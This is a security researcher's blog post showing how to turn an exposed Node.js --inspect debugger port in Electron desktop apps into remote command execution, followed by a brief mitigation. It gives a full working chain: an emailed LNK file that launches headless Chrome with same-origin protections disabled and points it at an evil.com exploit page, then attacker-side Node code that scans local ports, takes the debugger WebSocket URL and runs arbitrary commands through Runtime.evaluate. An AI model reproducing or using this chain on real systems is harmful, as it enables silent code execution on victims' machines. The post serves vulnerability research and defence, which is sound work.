evren@b0x:~$_ cd ..
~/posts/exploiting-electron-applications-using-debug-feature.md

Exploiting Electron Applications using Debug Feature

Intro

It is possible to execute commands in Electron Desktop applications using Chrome DevTools. In this article, I will explain how to convert local attacks using Electron Applications into remote command execution.

Node.js has an --inspect parameter which can be very interesting from a security perspective. The Node.js process uses a WebSocket to listen for commands on that port. For instance, if a victim applies an electron.exe --inspect=1337 parameter, the debugger server starts on port 1337 for Electron. It is possible to execute arbitrary commands using this structure.

If the Electron Application is started with the inspect parameter, a local attacker can use a browser to execute commands in the context of the target application. To test this feature, chrome://inspect/#devices can be used to access localhost:1337 in the targets section.

Chrome Inspect - Remote targets access
Figure: Chrome Inspect - Remote targets → inspect access
Electron Desktop Application code execution
Figure: Electron Desktop Application code execution

While this approach would normally be effective for local attacks, the following attack scenario explores how a remote attacker can trigger this vulnerability.

Prerequisites for the Attack Scenario

  • An Electron Application with an open debugger port.
  • Chrome internet browser must be installed.

My Attack Scenario

1. The first goal is to build an attack scenario that stays quiet by using the Chrome browser already installed on the victim side.

Chaining a few methods together turns the local attack into a remote attack. As shown above, commands can be executed by inspecting the application via Chrome. At this point, the headless feature Chrome offers becomes useful, since the Chrome GUI would otherwise complicate things.

Since this is a remote attack, the chrome.exe command and arguments are triggered via an LNK file. The LNK file is a very common method in malware, and can be sent to the victim via email without being detected by antivirus.

2. A headless browser is a great tool for automated testing and server environments where a visible UI shell isn't needed — for example, running tests against a real web page, creating a PDF of it, or just inspecting how the browser renders a URL.

Source: https://developers.google.com/web/updates/2017/04/headless-chrome

Running a command like chrome --headless www.google.com visits google.com, but the GUI does not open — this is "Chrome headless" usage.

3. When the victim visits a malicious site, access is needed to the debugger port (1337), evolving into a structure that allows code execution. However, there's an obstacle: the WebSocket address provided by the debugger server uses a UUID. Even with a WebSocket port open on localhost, the Same-Origin Policy (SOP) needs to be bypassed.

Running Chrome as headless alone doesn't solve this. At this stage, another Chrome parameter is used: --disable-web-security, which completely disables SOP.

4. The debugger server can now be reached at localhost:1337/json for the ID value generated with the UUID. By disabling the same-origin policy, the UUID address can be obtained, granting unauthorized access to the Electron application:

[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"devtoolsFrontendUrlCompat": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"faviconUrl": "https://nodejs.org/static/favicon.ico",
"id": "fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"title": "Administrator: Command Prompt[5764]",
"type": "node",
"url": "file://",
"webSocketDebuggerUrl": "ws://127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1"
} ]

Finally, all of this needs to be pushed into the background and reduced to a single click, using an LNK file shortcut for chrome.exe:

C:\Windows\System32\cmd.exe /c start chrome --headless  --disable-web-security --disable-gpu --user-data-dir=~/chromeTemp http://evil.com/exploit

The following code runs on the attacker side (evil.com) to test the method:

process.on('unhandledRejection', (err, p) => {
    console.log('An unhandledRejection occurred');
    console.log(`Rejected Promise: ${p}`);
    console.log(`Rejection: ${err}`);
});
var express = require('express');
var app = express();
var fetch = require("node-fetch");

function getid(port) {
    return fetch('http://localhost:' + port + '/json')
        .then((response) => response.json())
        .then((responseData) => {
            return responseData[0].webSocketDebuggerUrl;
        }).catch(function(error) {
            console.log('Request failed:', error.message);
        });
}

function exploit(url) {
    function nodejs() {
        process.mainModule.require('child_process').exec("calc")
    };

    const packet = {
        "id": 13371337,
        "method": "Runtime.evaluate",
        "params": { "expression": `(${nodejs})()` }
    };
    const WebSocket = require('ws');
    const ws = new WebSocket(url);
    ws.onopen = () => ws.send(JSON.stringify(packet));
    ws.onmessage = ({ data }) => {
        if (JSON.parse(data).id === 13371337) ws.close()
    };
    ws.onerror = err => console.error('failed to connect');
}

app.get('/exploit', function(req, res) {
    res.send('Hello World!')
    var i = 0;
    for (i = 2000; i < 10000; i++) {
        getid(i).then(function(response) {
            console.log("Success : " + response)
            exploit(response)
        });
    }
})

var server = app.listen(5000, function() {
    console.log('Node server is running..');
});

This code starts a Node server on port 5000 using Express, and triggers the attack when the victim machine browses the /exploit path via headless Chrome.

The getid function fetches JSON output from the relevant debugger port and extracts the WebSocket link containing the UUID. The exploit function then builds the malicious packet sent over that WebSocket, using the Runtime domain:

Runtime domain exposes JavaScript runtime by means of remote evaluation and mirror objects. Evaluation results are returned as mirror objects that expose object type, string representation, and unique identifier that can be used for further object reference.

Only the expression parameter is needed since the others are optional, calling the calc process from the Node.js function:

const packet = {
    "id": 13371337,
    "method": "Runtime.evaluate",
    "params": { "expression": `(${nodejs})()` }
};
Runtime domain evaluate method
Figure: Runtime domain — chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate

Mitigation

As a mitigation, a simple control was added to an example Electron Application: if there is an inspect parameter in the process.argv list, the application closes itself.

Sample Electron Application - Electron Fiddle Test Tool
Figure: Sample Electron Application — Electron Fiddle Test Tool

References

  • https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f

Thanks to Barış Akkaya.

this post is shared for educational and research purposes, contributing to the larger goal of enhancing internet security.